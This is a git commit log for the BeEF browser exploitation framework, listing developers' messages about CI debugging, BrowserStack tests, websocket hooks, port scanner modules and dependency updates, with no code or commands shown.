b78ff672ce Continuing attempts to debug websocket hook test 2020-04-23 13:17:47 +10:00
Jack Walker
12317c03a5 Wrong require relative path for websocket test 2020-04-23 13:11:03 +10:00
Jack Walker
6db311da92 Wrong require relative path for websocket test 2020-04-23 12:57:26 +10:00
Jack Walker
0376aa519f Re-added deleted code that may have impacted this test. 2020-04-23 12:56:02 +10:00
Jack Walker
539a17bbee Missing necessary requires? 2020-04-23 12:53:09 +10:00
Jack Walker
0fbb46d721 Does this need to sleep until after first keep-alive? 2020-04-23 12:45:40 +10:00
Jack Walker
788623227b Debugging last 2/5 failing tests 2020-04-23 12:39:52 +10:00
Jack Walker
faaac279c1 Debugging last 2/5 failing tests 2020-04-23 12:34:24 +10:00
Jack Walker
18357dbbff Hopefully the final fix. Mis-assigned variable fix. 2020-04-23 12:27:36 +10:00
Jack Walker
25f45ba1cb Fixed test error 2020-04-23 12:22:14 +10:00
Jack Walker
f1e36647f9 Fix for driver time out. 2020-04-23 12:18:26 +10:00
Jack Walker
4fae78b4d5 Fix for driver time out. 2020-04-23 12:18:02 +10:00
Jack Walker
07037587e8 Took an easier route of acquiring the Auth token 2020-04-23 12:10:17 +10:00
Jack Walker
a4f06bbaac And now for something completely different 2020-04-23 11:56:34 +10:00
Jack Walker
f6fdaa39ac Removed line causing error from all files. 2020-04-23 11:47:20 +10:00
Jack Walker
3389a73e39 Removed line causing error, see if it works w/out 2020-04-23 11:42:27 +10:00
Jack Walker
f82d4645d5 Separated Selenium driver + BrowserStack code based on hook loadtime 2020-04-23 10:54:51 +10:00
Jack Walker
5ee6ac4126 Separated Selenium driver + BrowserStack code based on hook loadtime 2020-04-23 10:40:02 +10:00
Jack Walker
8b69279124 Separated Selenium driver + BrowserStack code based on hook loadtime 2020-04-23 10:23:24 +10:00
Jack Walker
a32f4ecf7b Separated Selenium driver + BrowserStack code based on hook loadtime 2020-04-23 10:17:08 +10:00
Jack Walker
9f5452d5d5 Separated Selenium driver + BrowserStack code based on hook loadtime 2020-04-23 10:05:21 +10:00
Jack Walker
f5ee0219f8 Separated Selenium driver + BrowserStack code based on hook loadtime 2020-04-23 10:00:30 +10:00
Jack Walker
b2cb798020 maybee 2020-04-23 09:53:19 +10:00
Jack Walker
4234bf4e48 maybe? 2020-04-23 09:47:33 +10:00
Jack Walker
c6f9f182eb debugging 2020-04-23 09:28:53 +10:00
Jack Walker
91dbaa8931 y 2020-04-23 09:20:32 +10:00
Jack Walker
6100c77426 y 2020-04-23 09:04:37 +10:00
Jack Walker
1cb7103df6 Today is a new day 2020-04-23 08:53:41 +10:00
Jack Walker
1250a45fa2 Was the browser on bstacks the issue? 2020-04-22 16:32:31 +10:00
Jack Walker
44092d8519 fixed config.around hook 2020-04-22 16:25:50 +10:00
Jack Walker
6bf47508cb oops 2020-04-22 16:13:55 +10:00
Jack Walker
709e748797 Getting closer? 2020-04-22 16:12:45 +10:00
Jack Walker
af8b001ff8 How about this 2020-04-22 16:00:22 +10:00
Jack Walker
a51a555a32 This is it fixed 2020-04-22 15:44:55 +10:00
Jack Walker
96ef0f3d9a This is it 2020-04-22 15:41:55 +10:00
Jack Walker
1df856bd30 Attempt 1231829038102931 2020-04-22 15:35:06 +10:00
Jack Walker
02f34cad56 Pls fix 2020-04-22 15:27:10 +10:00
Jack Walker
97fd3f1dcb Example error fix 2020-04-22 15:10:31 +10:00
Jack Walker
4467a9e9d2 Debugging travis 2020-04-22 14:58:57 +10:00
Jack Walker
a59c4d6396 Debugging travis 2020-04-22 14:33:47 +10:00
Jack Walker
e957d7779d Debugging travis 2020-04-22 14:33:26 +10:00
Jack Walker
d21438a10c yml not yaml 2020-04-22 14:15:56 +10:00
Jack Walker
4d8395eaff Hopefully found the final fix for the Travis/Browserstack local tunnel issues 2020-04-22 14:09:32 +10:00
Jack Walker
746ef4b40a Please 2020-04-22 14:03:16 +10:00
Jack Walker
202d0ff8ab testing new matrix expansion config. 2020-04-22 13:27:21 +10:00
Jack Walker
6a32aa958f Fixed GeoIPDB install script 2020-04-22 12:54:40 +10:00
Jack Walker
02fa3af41f update-geoipdb fix will hopefully solve some failing tests 2020-04-22 12:38:13 +10:00
Jack Walker
764e54fda5 update-geoipdb fix will hopefully solve some failing tests 2020-04-22 12:38:10 +10:00
Jack Walker
80dd70660b Testing slower hook for more consistent results 2020-04-22 12:22:38 +10:00
Jack Walker
9509b68c9f Updated BrowserStack access keys for new account 2020-04-22 12:01:54 +10:00
Jack Walker
d15d68a21a Missing config.yaml file added 2020-04-22 11:44:38 +10:00
Jack Walker
0b78cf7752 Fixed last code from last commit so it doesn't fail on grabbing Ruby version 2020-04-22 11:40:16 +10:00
Jack Walker
4a020fc1ee Added code to allow sed script to find gems based on ruby version 2020-04-22 11:34:16 +10:00
Jack Walker
0b1ab1453b The case of the missing -E 2020-04-22 11:23:18 +10:00
Jack Walker
71a5d888b5 Debugging travis 2020-04-22 10:46:09 +10:00
Jack Walker
fe93c4e303 Third sed lucky 2020-04-22 10:40:53 +10:00
Jack Walker
b44275aac6 A wise man once sed writing build scripts is difficult 2020-04-22 10:35:44 +10:00
Jack Walker
d2e295c860 / not - <sigh> 2020-04-22 10:29:33 +10:00
Jack Walker
6d74889608 Added missing dependency 2020-04-22 10:25:15 +10:00
Jack Walker
68e9487781 Hopes and dreams 2020-04-22 10:21:19 +10:00
Jack Walker
ab8af27982 Trying to ascertain where travis installs its gems 2020-04-22 10:15:16 +10:00
Jack Walker
2a5d377ec1 Testing new .travis.yml script variant 2020-04-22 09:45:51 +10:00
Jack Walker
68a78c0e4d Fixed YAML extension. Was .yaml instead of .yml 2020-04-22 09:37:05 +10:00
Jack Walker
539860e333 Commit to test new travis.yml 2020-04-22 09:36:39 +10:00
Jack Walker
eada815b3b Merge branch 'master' of github.com:beefproject/beef into browserstack 2020-04-21 13:17:18 +10:00
jcrew99
1bb4a5856e Merge pull request #1917 from beefproject/debug_unit_test_patch
Removed code that was unintended to be copied across in test set-up
2020-04-21 13:12:24 +10:00
Jack Walker
dc20e03569 Resolved merge conflicts from prod-beef master 2020-04-21 13:11:00 +10:00
Jack Walker
6c503e4143 Committing to merge latest prod-beef master 2020-04-21 13:05:26 +10:00
jcrew99
bd35469757 Merge pull request #1915 from beefproject/new_websocket_spec
made a new websocket test for the browser
2020-04-20 16:45:40 +10:00
Josh
54929dad9f changed the extension name 2020-04-19 23:39:57 -07:00
Josh
549df7480a updated due to feedback from reviewer 2020-04-19 23:30:20 -07:00
Jack Walker
4e241415d1 Removed code that was unintended to be copied across in test set-up 2020-04-20 16:07:13 +10:00
Josh
e43b79fa5b made a new websocket test for the browser 2020-04-19 22:24:49 -07:00
jcrew99
9649a0f857 Merge pull request #1902 from beefproject/debug_unit_tests
Added debug unit tests
2020-04-20 12:01:57 +10:00
Jack Walker
5014771060 Merge branch 'master' of github.com:beefproject/beef into debug_unit_tests 2020-04-20 11:27:20 +10:00
Jack Walker
b645a730fa Fixed extensions loading issue causing tests to run with previously loaded config. 2020-04-20 11:26:09 +10:00
Jack Walker
6ced8acd8b Found the fix for the browser hooking issues. Resolved where necessary and cleaned up tests. 2020-04-20 10:55:00 +10:00
jcrew99
1989e49df0 Merge pull request #1914 from beefproject/port_scanner_update
Final config with version details
2020-04-20 09:09:47 +10:00
salmong1t
d5d7542be2 Final config with version details 2020-04-17 00:02:57 -07:00
Jack Walker
31b039b0c5 Merge branch 'debug_unit_tests' of github.com:beefproject/beef into debug_unit_tests 2020-04-16 16:20:03 +10:00
Jack Walker
1ba8b6d29a Removed byebug + other unneeded requires. Shortened some sleeps. 2020-04-16 13:15:25 +10:00
Jack Walker
0a39de17e0 Add handling to only load modules and extensions if they are not already loaded. 2020-04-16 13:11:26 +10:00
jcrew99
abbe9db66b Merge pull request #1912 from beefproject/update_sw_port_scanner
fixed a few spelling mistakes and changed the name
2020-04-16 10:46:07 +10:00
Jack Walker
3b20c8eee9 Missing class variable tags 2020-04-16 10:33:33 +10:00
Jack Walker
55112fe492 Fixed hard coded command modules 2020-04-16 10:30:16 +10:00
Josh
1aa76f93cb fixed a few spelling mistakes and changed the name 2020-04-15 16:00:19 -07:00
Jack Walker
804fc6363a Implemented BrowserStack testing into debug module tests. 2020-04-16 08:54:04 +10:00
Jack Walker
4319f73fe7 This time for sure 2020-04-15 14:52:31 +10:00
Jack Walker
667b773cc5 PLEASE 2020-04-15 14:37:08 +10:00
Jack Walker
0a7f9ec222 Envvars pls 2020-04-15 14:13:53 +10:00
Jack Walker
7a2f90534f Fixed envvar? 2020-04-15 13:32:29 +10:00
Jack Walker
fd9c4758d5 Testing env var w/ Travis 2020-04-15 13:24:51 +10:00
Jack Walker
7406360065 Converted RSpec BrowserStack config to use Capybara instead of Selenium as we primarily use Capybara sessions in testing. 2020-04-15 12:37:28 +10:00
Jack Walker
ba81a386e1 Test cleanup. 2020-04-15 11:59:29 +10:00
Jack Walker
45034fcfe6 Removed a bunch of browsers, see if we can get tests passing. 2020-04-14 17:03:33 +10:00
Jack Walker
3619567116 Removed broken tests. Check for pass. 2020-04-14 17:02:10 +10:00
Jack Walker
a271d7656b Pushing changes that should enable BrowserStack. Partly pushing to see if we get these results in Travis. 2020-04-14 16:21:40 +10:00
Jack Walker
7a27db0b3d Reverting. 2020-04-14 12:39:06 +10:00
Jack Walker
c2c8b87cfb Testing different access_key format 2020-04-14 12:34:45 +10:00
Jack Walker
33c97ae9bb Added browserstack to list of branches Travis will build and test 2020-04-14 12:15:05 +10:00
Jack Walker
477188944d Browserstack config added to .travis.yml 2020-04-14 12:11:58 +10:00
Jack Walker
815d2e4bb8 Resolved merge conflicts from other working branch 2020-04-14 10:50:34 +10:00
Jack Walker
c610aa1666 Fixed change to config.yaml creds 2020-04-14 10:41:32 +10:00
Jack Walker
0ffd87059a Resolved issues preventing server starting w/ test. Tests now passing. 2020-04-14 10:40:50 +10:00
jcrew99
6431df68cf Merge pull request #1905 from beefproject/refining_websocket_tests
Refining websocket tests
2020-04-09 13:48:52 +10:00
jcrew99
4a0f8360c9 Merge pull request #1904 from beefproject/fix_default_values
moving these back to defaults
2020-04-09 13:45:20 +10:00
Grant Burgess
340279f91c Removed byebug dependency 2020-04-09 13:45:11 +10:00
jcrew99
5837502670 Merge pull request #1903 from beefproject/dockerize_beef
Added Dockerfile
2020-04-09 13:29:56 +10:00
Josh
4e0a2bb465 moving these back to defaults 2020-04-08 20:26:15 -07:00
Jack Walker
a3eca63504 Added Dockerfile 2020-04-09 13:03:37 +10:00
Jack Walker
d8fac13f8f Trying to automate API server 2020-04-09 13:03:08 +10:00
Grant Burgess
3c6aca28fd Added websocket client gem for testing 2020-04-09 12:30:28 +10:00
Grant Burgess
67d0c8bca2 Added a new test and modified the others. 2020-04-09 12:30:08 +10:00
Jack Walker
71cecf4e5e Added debug unit tests 2020-04-09 12:12:09 +10:00
jcrew99
e5381e3c93 Merge pull request #1900 from beefproject/update_ARE_rules
fiexed broken values
2020-04-07 17:58:39 +10:00
Josh
6db2a6f4f8 fiexed broken values 2020-04-07 00:56:18 -07:00
dependabot-preview[bot]
9bfa8d00f7 Bump jsdoc from 3.6.3 to 3.6.4
Bumps [jsdoc](https://github.com/jsdoc/jsdoc) from 3.6.3 to 3.6.4.
- [Release notes](https://github.com/jsdoc/jsdoc/releases)
- [Changelog](https://github.com/jsdoc/jsdoc/blob/3.6.4/CHANGES.md)
- [Commits](https://github.com/jsdoc/jsdoc/compare/3.6.3...3.6.4)

Signed-off-by: dependabot-preview[bot] <support@dependabot.com>
2020-04-07 07:25:02 +00:00
jcrew99
5841265ffa Merge pull request #1898 from beefproject/update_sw_port_scanner_module
updated command.js for sw_network_proxy
2020-04-07 09:58:38 +10:00
Josh
378728a6e0 updated command.js for sw_network_proxy 2020-04-06 16:50:20 -07:00
jcrew99
e445a2c2d3 Merge pull request #1897 from beefproject/updated_travis_ci
added a new rvm language for the docker container
2020-04-07 09:32:13 +10:00
Josh
1d0513a4b6 added a new rvm language for the docker container 2020-04-06 16:19:25 -07:00
jcrew99
2ed8afa647 Merge pull request #1896 from beefproject/update_sw_port_scanner_module
updated command js for more funcionality
2020-04-06 18:20:35 +10:00
Josh
2528381f0d updated command js for more funcionality 2020-04-06 01:13:54 -07:00
jcrew99
4acaab249d Merge pull request #1895 from beefproject/remove_arerule_from_enabled_by_default
Remove arerule from enabled by default
2020-04-06 11:46:04 +10:00
Josh
50ed49282b removed the console.log 2020-04-05 18:36:52 -07:00
Josh
28e43b23f5 removing Are rules from enabled by default 2020-04-05 18:31:35 -07:00
jcrew99
097effe376 Merge pull request #1894 from beefproject/create_sw_port_scanner
Create sw port scanner
2020-04-06 10:35:55 +10:00
jcrew99
132fca5d94 Merge pull request #1891 from aburro/master
Prevent breaking BeEF due to my split work on hook
2020-04-05 19:10:30 +10:00
jcrew99
38437f5536 Merge pull request #1893 from beefproject/travis_ci_change
should make travis.ci only run on master, fix the current error
2020-04-05 18:57:31 +10:00
Josh
7c5578329f should make travis.ci only run on master 2020-04-05 18:45:37 +10:00
Josh
f8ec92d069 updates 2020-04-03 00:14:25 -07:00
aaron
326b8e2e36 Merge https://github.com/beefproject/beef 2020-04-03 16:12:22 +10:00
aaron
7df4a714e3 Haha passwords 2020-04-03 16:11:40 +10:00
Grant Burgess
698b36c929 Fixed password change 2020-04-03 16:09:56 +10:00
aaron
e7157aa759 Made sure BeEF not broken 2020-04-03 16:01:53 +10:00
aaron
ad908e1813 Split on config 2020-04-03 15:42:16 +10:00
Josh
a142521f17 updated the module, more to go 2020-04-02 22:41:26 -07:00
Grant Burgess
a32f9f57f2 Merge pull request #1887 from aburro/master
Updating portscanner for modern browsers
2020-04-03 15:32:26 +10:00
nomad
60a0ca0807 Added basic websocket tests 2020-04-03 14:58:39 +10:00
aaron
93ed26d10f Moved failed beefJS split into hooked instead of into BeEFJS 2020-04-03 14:37:48 +10:00
aaron
3f59aa2d9c Legacy beef not working :( 2020-04-03 13:52:08 +10:00
aaron
f836748718 Finished legacy pivot 2020-04-03 13:22:56 +10:00
aaron
419789baf5 Finished legacy pivot 2020-04-03 13:22:47 +10:00
aaron
9074ed0b22 Based on tests updated poc code for port scanner 2020-04-02 18:38:18 +10:00
aaron
7c1c7d6108 Fixed merge conflict 2020-04-02 17:17:21 +10:00
aaron
89c08b5ffd Merge https://github.com/beefproject/beef 2020-04-02 17:16:20 +10:00
jcrew99
6ebb8a0e04 Merge pull request #1888 from beefproject/fixed_offline_browser_bug_when_using_websockets
Changed how websocket hooked browsers time out
2020-04-02 16:23:35 +10:00
Grant Burgess
1b837dbd27 Removed require byebug 2020-04-02 15:52:33 +10:00
Grant Burgess
89b9c53239 Changed how websocket hooked browsers time out 2020-04-02 15:39:30 +10:00
aaron
53b283b71d Commenting GBs hookedbrowserwebsockettimeout fix 2020-04-02 15:23:26 +10:00
aaron
24ee0c5095 Adding GBs hookedbrowserwebsockettimeout fix 2020-04-02 15:21:33 +10:00
aaron
d192522865 Merge https://github.com/beefproject/beef 2020-04-02 13:14:46 +10:00
jcrew99
803fd6d3e7 Merge pull request #1886 from beefproject/update_session_id
this was a change that needed to be update
2020-04-02 12:16:41 +10:00
Josh
a84dbcb005 this was a change that needed to be update 2020-04-01 19:15:07 -07:00
aburro
d63511dd94 Update command.js 2020-04-02 09:42:59 +10:00
aaron
f317caf88a Merge https://github.com/beefproject/beef 2020-04-01 17:59:51 +10:00
aaron
3b27cd65d8 End of day code 2020-04-01 17:55:12 +10:00
AussieKlutz
dcb946dfa2 First cut, automated scan using new sw_port_scanner module. 2020-04-01 14:38:14 +10:00
AussieKlutz
aae313fee0 Removed extraneous comma, due to a commented option 2020-04-01 14:21:41 +10:00
aaron
f28bc603ad Starting promise based port scanner 2020-04-01 14:06:55 +10:00
jcrew99
010e86dc0d Merge pull request #1885 from beefproject/update_networkservice
updated to what was changed for the networkservice
2020-04-01 13:30:33 +10:00
Josh
591ebf6d83 updated to what was changed for the networkservice 2020-03-31 20:21:53 -07:00
aaron
047b18ec88 Updated to correct module 2020-04-01 12:34:42 +10:00
aaron
10f367eb5a Portscan multihosts 2020-04-01 12:29:53 +10:00
aaron
3c3b3e2595 Modified lan_portscan for name 2020-04-01 12:22:52 +10:00
root
d1f778dab0 Added portscan arerule 2020-04-01 12:14:01 +10:00
Brendan Coles
7a80e5f6ec Replace autocomplete_theft with get_autocomplete_creds 2020-02-12 13:53:24 +00:00
jcrew99
e820619a74 Merge pull request #1870 from H4xl0r/patch-1
Update update-geoipdb
2020-02-11 13:56:31 +10:00
bcoles
38447da541 Merge pull request #1873 from bcoles/core-extensions
BeEF::Extension: Add debug output for extension handling
2020-02-08 20:01:38 +11:00
Brendan Coles
4e2bfc4247 BeEF::Extension: Add debug output for extension handling 2020-02-08 09:02:45 +00:00
jcrew99
714e320a12 Merge pull request #1866 from superuserx/master
Fixed build_recursive_tree()
2020-02-04 14:41:37 +10:00
H4xl0r
ce62541439 Update update-geoipdb
geolite changed access 
fixed by getting files from web.archive 
This is a temp solution eg. not updated !
2020-02-02 21:08:00 +01:00
jcrew99
03222d605f Merge pull request #1868 from beefproject/updated_Pull_Request_Template
Updated pull request template
2020-01-30 17:27:10 +10:00
josh
e6d689d90e updated pull request template 2020-01-30 07:13:15 +00:00
josh
d808585049 updated pull request 2020-01-30 07:11:41 +00:00
superuserx
5d5a67e177 Fixed build_recursive_tree() 2020-01-26 20:11:07 +01:00
jcrew99
a038dee9d8 Merge pull request #1863 from beefproject/zombie_id_fix
update the destroy to destroy all
2020-01-23 12:27:58 +10:00
josh
fb5e90c499 browser details 2020-01-23 02:14:19 +00:00
Josh Crew
ac49a53814 update the destroy to destroy all 2020-01-20 10:54:19 +00:00
jcrew99
27ca299efe Merge pull request #1862 from beefproject/destroy_id_fix
Revert "related to the change in how ID is used"
2020-01-20 10:48:49 +10:00
Josh Crew
120a1c3f62 Revert "related to the change in how ID is used"
This reverts commit 453e4bacab.

Needs to be reviewed
2020-01-20 10:36:42 +00:00
Josh Crew
453e4bacab related to the change in how ID is used 2020-01-20 10:26:28 +00:00
jcrew99
23dc5c7114 Merge pull request #1861 from beefproject/bcoles-patch-2
Use OID-style key/value data for BrowserDetails network details
2020-01-20 10:32:17 +10:00
bcoles
6106854dbe Merge pull request #1860 from beefproject/bcoles-patch-1
Add Ruby 2.7.0 to travis.yml
2020-01-19 16:25:47 +11:00
bcoles
cc21bb644b Use OID-style key/value data for BrowserDetails network details 2020-01-18 20:35:07 +11:00
bcoles
96704088dc Add Ruby 2.7.0 to travis.yml 2020-01-18 19:53:14 +11:00
jcrew99
b84872e521 Merge pull request #1858 from beefproject/fix-1851
fixing #1851
2020-01-17 16:25:02 +10:00
Haoxi Tan
9a59297daf add comment 2020-01-17 14:29:41 +10:00
Haoxi Tan
cbe5381997 fixing test 2020-01-17 13:05:43 +10:00
Haoxi Tan
27514b93d3 fixing test 2020-01-17 12:55:37 +10:00
Haoxi Tan
39c07feeb2 fixing test 2020-01-17 12:30:17 +10:00
Haoxi Tan
3507ffe652 fixing test 2020-01-17 12:14:02 +10:00
Haoxi Tan
43e2e5bec0 increasing test delay for hook victim 2020-01-17 12:02:30 +10:00
Haoxi Tan
62186583a6 fixing #1851 2020-01-17 11:41:07 +10:00
bcoles
ac2627383d Merge pull request #1853 from bcoles/assethandler
Add error handling and minor code cleanup
2020-01-16 23:37:42 +11:00
Haoxi Tan
811d20eea0 Merge branch 'master' of https://github.com/beefproject/beef 2020-01-16 13:03:04 +10:00
jcrew99
cbd42c198a Merge pull request #1857 from beefproject/fix-1852
fixing issue #1852
Passes fine
2020-01-16 12:07:39 +10:00
Haoxi Tan
282575f9a6 killing things properly in tests involving beef http server 2020-01-16 11:52:04 +10:00
Haoxi Tan
cecbabe42a added test for fixing #1852 2020-01-16 11:29:59 +10:00
Haoxi Tan
7d9a235bbf Revert "fixing issue #1852"
This reverts commit 375c0d9b8b.
2020-01-16 11:24:11 +10:00
Haoxi Tan
375c0d9b8b fixing issue #1852 2020-01-16 11:18:09 +10:00
Haoxi Tan
4ac293a2e5 updated browser details test 2020-01-16 11:17:15 +10:00
Haoxi Tan
00eaa6a661 fixing tests 2020-01-15 14:51:04 +10:00
Haoxi Tan
fc1b0c6da4 commented out simplecov 2020-01-15 14:45:29 +10:00
Haoxi Tan
d417645b28 fixed ARE engine issue #1855 2020-01-15 14:30:31 +10:00
Haoxi Tan
3f314fc055 fixing test 2020-01-15 13:58:53 +10:00
Haoxi Tan
d2f3c7fbe2 added tests for browser details handler 2020-01-15 13:47:46 +10:00
Grant Burgess
a46a2fe2c1 Merge branch 'master' of github.com:beefproject/beef 2020-01-15 12:56:25 +10:00
Grant Burgess
d76294735c Fixed issue where pull request #1846 changes were
not merged to master.
2020-01-15 12:55:17 +10:00
Brendan Coles
976eb5ec1c Add error handling and minor code cleanup 2020-01-14 07:06:55 +00:00
Haoxi Tan
3770b43534 updated PR template 2020-01-14 15:13:53 +10:00
Haoxi Tan
ee1739b200 updated PR template 2020-01-14 15:12:56 +10:00
Haoxi Tan
c01c07ad81 updated PR template 2020-01-14 15:02:44 +10:00
Haoxi Tan
256377a8db updated PR template 2020-01-14 15:01:34 +10:00
Haoxi Tan
17b0949f02 added pull request template 2020-01-14 14:57:58 +10:00
Haoxi Tan
ce72aa8fc0 added CONTRIBUTING and SECURITY md files in .github 2020-01-14 14:40:56 +10:00
Grant Burgess
bac84f4f26 Merge pull request #1849 from beefproject/fix_tests_to_run_in_random_order
Set the credentials before test runs
2020-01-14 10:40:59 +10:00
Grant Burgess
4d7810e730 Set the credentials before test runs 2020-01-14 10:31:30 +10:00
Grant Burgess
9945fcd3eb Merge pull request #1848 from beefproject/fix_broken_admin_ui_access
Fixed test to run in random order
2020-01-14 10:29:39 +10:00
Grant Burgess
ce4f480957 Fixed test to run in random order 2020-01-14 10:00:03 +10:00
jcrew99
079f3dae56 Merge pull request #1847 from beefproject/reset_head
Reset head
2020-01-13 14:37:24 +10:00
jcrew99
7e4f636869 Merge pull request #1846 from beefproject/fix_tests_to_run_in_random_order
Fix tests to run in random order
2020-01-13 13:10:44 +10:00
jcrew99
5de127a0e2 Merge pull request #1845 from beefproject/fix_broken_admin_ui_access
Fix broken admin ui access
2020-01-13 13:08:24 +10:00
Grant Burgess
d26a0fda33 Re-enabled the test as it now passes 2020-01-13 12:54:13 +10:00
Grant Burgess
a113d896e7 Cleared arguements before tests run 2020-01-13 12:53:29 +10:00
Grant Burgess
d0dced8848 Added catch to disable logging during test 2020-01-13 12:53:00 +10:00
Grant Burgess
28b5eef779 Tests to cover Admin UI access 2020-01-10 14:45:14 +10:00
Grant Burgess
a2de71c151 Added router/error_responses 2020-01-10 14:44:51 +10:00
Grant Burgess
1c4ef22947 Changed references to constants to modify easily 2020-01-10 14:43:51 +10:00
Grant Burgess
efad3c3d23 Made 404 error responses constants to use with UI 2020-01-10 14:42:35 +10:00
Grant Burgess
35876694b0 Determines the correct IP if reverse proxy enabled 2020-01-10 14:40:29 +10:00
Grant Burgess
9065fc9514 Check request IP before resolving the Admin UI 2020-01-10 14:38:06 +10:00
Grant Burgess
998c3fd8b2 Added config option that Closes #1354 2020-01-10 14:36:37 +10:00
Haoxi Tan
f5de5eb7c0 updated dns extension to use async-dns instead of old rubydns 2020-01-10 09:43:45 +10:00
Haoxi Tan
39ef3fe4f6 changed module description for iframe key logger 2020-01-10 08:23:55 +10:00
Haoxi Tan
1ff2272566 updated working browsers 2020-01-09 10:57:10 +10:00
Haoxi Tan
5db7f16eef added simplecov output 2020-01-09 08:40:18 +10:00
Haoxi Tan
ac9edf15d4 Merge branch 'master' of https://github.com/beefproject/beef 2020-01-09 08:39:03 +10:00
Haoxi Tan
eb5feb6f4f updated module description 2020-01-09 08:38:29 +10:00
jcrew99
5de583d874 Merge pull request #1843 from beefproject/update_version_number
Update version number
2020-01-08 17:05:24 +10:00
Haoxi Tan
886787c418 changed module names from Replace HREFs to Link Rewrite for consistency 2020-01-08 16:31:23 +10:00
jcrew99
3c209fd0d9 Merge pull request #1825 from beefproject/Postman
Postman
2020-01-07 15:32:00 +10:00
Jess Williams
ea9a85ac7d Add files via upload 2020-01-07 13:04:32 +10:00
Haoxi Tan
e8dba51a21 Merge branch 'master' of https://github.com/beefproject/beef 2020-01-07 11:59:40 +10:00
Haoxi Tan
5d7529c6c6 updated working status of OS and browsers 2020-01-07 11:59:29 +10:00
jcrew99
56ba542c05 Merge pull request #1824 from beefproject/updated_read_me
updated to show the Jsdocs
2020-01-07 11:55:04 +10:00
jcrew99
9046922c3d Merge pull request #1823 from beefproject/updated_read_me
updated the ReadMe
2020-01-07 10:07:49 +10:00
beefproject
e54517a962 Set theme jekyll-theme-minimal 2020-01-07 09:55:43 +10:00
jcrew99
442a6f8595 Merge pull request #1821 from beefproject/date_change
copyright changes to new year
2020-01-06 15:09:46 +10:00
jcrew99
c6910a71a2 Merge pull request #1817 from beefproject/SecureRandom
Use SecureRandom after update to 2.5
2020-01-03 14:41:55 +10:00
jcrew99
3702ec6fa1 Merge pull request #1818 from beefproject/active_record_fix
Active record fix
2020-01-03 14:41:11 +10:00
JessW98
fc3ed5cd16 Use SecureRandom 2020-01-02 20:13:48 -08:00
jcrew99
8e783ad2bd Merge pull request #1816 from beefproject/yaml_safe_load
Replaced yaml.load with yaml.safe_load
2020-01-03 12:56:30 +10:00
Grant Burgess
f608cacb2f Replaced yaml.load with yaml.safe_load 2020-01-03 10:40:57 +10:00
Grant Burgess
ba15644e32 Merge pull request #1815 from beefproject/remove-liveCD-dir
Removed LiveCD directory and reference in Metasploit config.yaml
2020-01-03 10:00:02 +10:00
Jack Walker
de7866dc87 Removed LiveCD directory and reference in Metasploit config.yaml 2020-01-03 09:50:55 +10:00
jcrew99
15af93c39e Merge pull request #1814 from beefproject/active_record_fix
Active record fix for the table names
2020-01-02 22:39:42 +10:00
root
4324876671 Merge branch 'active_record_fix' of https://github.com/beefproject/beef into active_record_fix
pull
2020-01-02 12:12:07 +00:00
Jack Walker
b4116e7a7f Merge pull request #1813 from beefproject/jsdoc
Jsdoc
2020-01-02 16:52:41 +10:00
Grant Burgess
e9636599ac Generated JSDoc html files to host on Github Pages 2020-01-02 16:33:14 +10:00
Grant Burgess
53f2529718 Updated documentation for use with JSDoc 2020-01-02 16:32:17 +10:00
Grant Burgess
160f0c4b1c Added packages for JSDoc 2020-01-02 16:30:26 +10:00
Grant Burgess
1bdafffe2c Updated Gitignore 2020-01-02 16:29:50 +10:00
Jack Walker
7d95afef51 Merge pull request #1812 from beefproject/copyrightupdate
Update copyright information
2020-01-02 12:57:56 +10:00
beep
470b3483d0 Update copyright information 2020-01-01 18:47:08 -08:00
Grant Burgess
1e7022654e Updated .gitignore to ignore rdoc output 2019-12-31 15:36:03 +10:00
Grant Burgess
d0ea2cebe4 Added JSDoc to the project and updated .gitignore 2019-12-31 15:06:44 +10:00
root
1a8a8d9154 Merge branch 'active_record_fix' of https://github.com/beefproject/beef into active_record_fix 2019-12-30 11:28:38 +00:00
root
e8e7ba26e4 updated the DNS rules 2019-12-30 11:25:25 +00:00
root
c23e78f2de updated to show the Jsdocs 2019-12-30 07:47:33 +00:00
root
7b7531f62c Didnt need to track 2019-12-30 06:10:04 +00:00
root
c89484931c Merge branch 'master' of https://github.com/beefproject/beef into reset_head
maybe
2019-12-30 06:09:36 +00:00
root
0d63b724d5 Revert "Revert "Merge pull request #1845 from beefproject/fix_broken_admin_ui_access""
This reverts commit 6a8c8d7081.

Some random outcomes causes it to break
2019-12-30 06:06:06 +00:00
root
6a8c8d7081 Revert "Merge pull request #1845 from beefproject/fix_broken_admin_ui_access"
This reverts commit 5de127a0e2, reversing
changes made to f5de5eb7c0.
2019-12-30 06:05:09 +00:00
root
d0f636cf7e updated the ReadMe 2019-12-30 05:58:33 +00:00
root
0943ee4ad3 Merge branch 'master' of https://github.com/beefproject/beef into update_version_number
updating the version number that was written over-somewhere
2019-12-30 05:49:00 +00:00
root
8627af1001 copyright changes to new year 2019-12-30 05:48:03 +00:00
root
e8c1456371 updating the version number 2019-12-30 05:48:01 +00:00
root
b597c1a4f2 Merge branch 'active_record_fix' of https://github.com/beefproject/beef into active_record_fix
this is to hoefully fix one of the errors
2019-12-30 05:39:42 +00:00
root
6f34d1c807 other migrations 2019-12-30 05:38:16 +00:00
root
a8f18706b1 updated table names 2019-12-30 05:23:59 +00:00
root
66b68ac489 changes to the migrations 2019-12-29 22:31:47 +00:00
jcrew99
516b787c80 Merge pull request #1807 from sopsmattw/master
Added libcurl4-openssl-dev to apt command.
2019-12-18 12:09:14 +10:00
jcrew99
6d05f8c4ed Merge pull request #1806 from beefproject/ruby_version_upgrade
updated the version from 2.4 - 2.5
2019-12-17 14:44:36 +10:00
root
62f7e52b40 update 2.4.0 readme 2019-12-17 04:28:27 +00:00
root
bae6557b9c the 2.4.0 fix doesnt work 2019-12-17 04:19:55 +00:00
root
0bb5fc8bd4 mistake in the RVM 2019-12-17 04:15:04 +00:00
root
fdad5f459d Added 2.4.0 back 2019-12-17 04:11:49 +00:00
root
ee242441ce ACTIVE RECORD 2019-12-17 04:09:09 +00:00
root
42bb1f2d1a the travis.yml to what it was before the updage 2019-12-17 03:30:12 +00:00
root
feb57aca91 updated the version from 2.4 - 2.5 2019-12-17 01:45:16 +00:00
jcrew99
4435a02d48 Merge pull request #1804 from beefproject/version
Bump version to 0.5.0.0
2019-12-17 10:43:16 +10:00
root
9e31f7d1eb Bump version to 0.5.0.0 2019-12-17 00:40:13 +00:00
root
0b740d6c81 Added libcurl4-openssl-dev to apt command. curb fails to build when
running bundle install
2019-04-21 09:01:40 -06:00
1494 changed files with 107379 additions and 17811 deletions

2
.bundle/config Normal file
View File

@@ -0,0 +1,2 @@
